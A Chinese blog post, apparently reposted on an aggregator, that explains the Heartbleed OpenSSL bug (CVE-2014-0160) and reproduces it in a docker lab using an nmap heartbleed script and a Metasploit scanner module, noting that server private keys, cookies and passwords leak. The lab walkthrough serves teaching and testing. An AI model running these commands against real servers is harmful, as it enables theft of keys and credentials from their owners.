1. 全栈程序员必看首页

CVE-2014-0160：心脏出血（心血）漏洞

全栈程序员-站长 • • 未分类 • 阅读 28

CVE-2014-0160：心脏出血（心血）漏洞0x00漏洞介绍是一个出现在加密程序库OpenSSL的安全漏洞，该程序错误属于缓冲区过读，即可以读取的数据比应该允许读取的还多0x01漏洞成因由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露0x02…

大家好，又见面了，我是你们的朋友全栈君。

0x00 漏洞介绍

是一个出现在加密程序库OpenSSL的安全漏洞，该程序错误属于缓冲区过读，即可以读取的数据比应该允许读取的还多

0x01 漏洞成因

由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露

0x02 影响范围

OpenSSL1.0.1版本

0x03 环境搭建

使用docker一键搭建环境

docker-compose build
docker-compose up -d
docker-compose ps

在这里插入图片描述
在这里插入图片描述
环境搭建完成后，访问http://192.168.220.134，测试环境是否搭建成功
http://192.168.220.134/
在这里插入图片描述

0x04 漏洞复现

使用nmap检测“心脏出血”漏洞是否存在，指定端口号为443

nmap -sV -p 443 --script ssl-heartbleed.nse 192.168.220.134

在这里插入图片描述
使用msf对漏洞进行利用，查找heartbleed模块

msf5 > search heartbleed

在这里插入图片描述
使用第一个选项，设置主机IP地址、端口号，设置verbose为true以便于显示泄露的信息

msf5 > use auxiliary/scanner/ssl/openssl_heartbleed 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 192.168.220.134
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RPOST 443
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

在这里插入图片描述
在这里插入图片描述
漏洞利用成功后可以抓取到信息，包括服务器的私钥、用户的cookie、密码等
在这里插入图片描述

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。

发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/160530.html原文链接：https://javaforall.net

赞 (0)
0 0

关于作者

全栈程序员-站长的头像

全栈程序员-站长

133.5K 文章
3 粉丝
本网站汇聚当前互联网主流语音，持续更新，欢迎关注公众号“全栈程序员社区”
上一篇 2022年7月17日 下午8:46
下一篇 2022年7月17日 下午8:46


相关推荐

  • 伪代码的写法[通俗易懂]

    伪代码的写法[通俗易懂]

    伪代码的写法[通俗易懂]伪代码（Pseudocode）是一种算法描述语言。使用伪代码的目的是为了使被描述的算法可以容易地以任何一种编程语言（Pascal，C，Java，etc）实现。因此，伪代码必须结构清晰、代码简单、可读性好，并且类似自然语言。介于自然语言与编程语言之间。　　它以编程语言的书写形式指明算法的职能。相比于程序语言（例如Java,C++,C,Dephi等等）它更类似自然语言。它是半角式化、不标准的语言

    全栈程序员-站长的头像 全栈程序员-站长
    2022年6月3日
    135
  • 网盘lua调用失败(dumb down)

    网盘lua调用失败(dumb down)

    前阵子在弄一个dump程序的时候遇到这样一个问题.
    dump程序在被dump程序debug情况下一切正常,release版本下调用了minidumpwritedump函数进行dump,但是minidumpwritedump函数调用失败,GetLastError()获得到的是一个不正常的大数.
    在网络上久寻未果,遇到同样问题的人都没有提出最后的解决方案,也尝试过修改项目设置等一系列方法,没有解决.
     
    有一天想重新研究这个问题,看这个帖子http://app

    全栈程序员-站长的头像 全栈程序员-站长
    2022年4月16日
    205
  • <span role="heading" aria-level="2">PostScript——学习postscrip

    PostScript——学习postscrip

    PostScript——学习postscrip本文转载自：https://www.cnblogs.com/wurui1994/p/6290969.html1.前言PostScript是一种编程语言，直译为"后处理脚本"[相

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月1日
    26
  • 【数据处理高效秘籍】：n8n带你快速清洗、转换与加载数据 n8n

    【数据处理高效秘籍】：n8n带你快速清洗、转换与加载数据

    【数据处理高效秘籍】：n8n带你快速清洗、转换与加载数据

    Ai探索者的头像 Ai探索者
    2026年3月15日
    2
  • 固态硬盘各种受损，数据恢复一个对策，你值得拥有！「建议收藏」

    固态硬盘各种受损，数据恢复一个对策，你值得拥有！「建议收藏」

    固态硬盘各种受损，数据恢复一个对策，你值得拥有！「建议收藏」大家好，我是效哥。前几天，效率源发布了福利：（【技术视界】受损固态硬盘（SSD）数据恢复方法）。一时间，很多朋友都找到效哥：“哎呀呀，我的固态硬盘坏了，里面还有我的博士论文”、“刚买的固态硬盘才用半年就坏了，数据库文件急需要恢复”、“固态硬盘做的系统开不了机，桌面上还有财务报表”···看到这里，效哥要给大家一个人生忠告：“重要数据千万要做好备份！忠告，忠告啊！”那么，固态硬盘已经损坏且…

    全栈程序员-站长的头像 全栈程序员-站长
    2026年1月28日
    4
  • ps 命令详解

    ps 命令详解

    ps 命令详解From http blog chinaunix net uid 25681671 id 3201927 html 进程和作业管理命令 http man linuxde net sub 进程和作业管理 Linux 关于进程 线程的命令 kill 和 pgrep 和 pidof 和 awk 和 pkill 和 killall https blog csdn net freeki

    全栈程序员-站长的头像 全栈程序员-站长
    2026年3月20日
    3

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号